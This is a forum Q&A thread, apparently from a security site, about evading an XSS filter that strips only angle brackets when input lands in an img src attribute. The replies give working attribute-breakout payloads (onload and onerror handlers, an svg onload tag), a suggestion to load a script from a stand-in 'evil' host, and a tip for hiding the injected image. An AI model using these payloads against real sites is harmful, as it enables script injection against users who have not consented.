2

<img class="avatar" src="MY INPUT SPACE">

I am trying to bypass an XSS filter but it is not working since given <, > are filtered. I feel like it I could break it since only these two characters are filtered but I just couldn't find a way to do it, any suggestion on this?

5
  • 1
    If just those are filtered, write out the html tag as you normally would, and apply the injection half afterwards. Example: <img class="avatar" src="imghere.jpg" onload="javascript:alert('lol');"/>. So, input imghere.jpg" onload="javascript:alert('lol');? Apr 15, 2018 at 2:37
  • It looks like I am getting there, however the there is no alert showing. I am getting:<img class="image" src="image.com/1" onload="javascript:alert('lol')></p></figure><div class=" content"="">
    – Alex
    Apr 15, 2018 at 2:51
  • @Mark Buffalo After a few attempts, I am able to make the site to store a image of: <img class="avatar-image" src="petco.scene7.com/is/image/PETCO/…>"> but the script is never excuted
    – Alex
    Apr 15, 2018 at 3:31
  • Why are you adding a semi-colon after the src attribute? Apr 15, 2018 at 6:40
  • What about loading an external javascript file using myevilsite.org/injections.js or something similar. This assuming you have "real" control over src=
    – Jeroen
    Apr 15, 2018 at 9:48

1 Answer 1

3

The general advice (to inject an event handler in the image tag) from @MarkBuffalo in the comment is correct, but onload isn't a great choice of event handler for images. The better option is usually onerror, which is very easy to reliably trigger; just set the source to be something you know won't exist (or at least won't be an image), like src="qq" onerror="alert('XSS!')".

The specific exception I like is SVG tags, where <svg onload="…" /> is a nice short string (as short as <script>…</script>, and usable in places that try stupid tricks like filtering <script>).

2
  • 2
    Just wondering, but why isn't onload a good choice for images? It works for me pretty much every time. However, stuff like buttons, or other elements, sure. Apr 15, 2018 at 6:40
  • You could also add some more to the tag, so it isn't that obvious, that the image is hijacked: add ` style="display:none"` to hide it or set another background-image so it looks normal afterwards
    – rubo77
    Jun 3, 2020 at 21:04

You must log in to answer this question.

Not the answer you're looking for? Browse other questions tagged .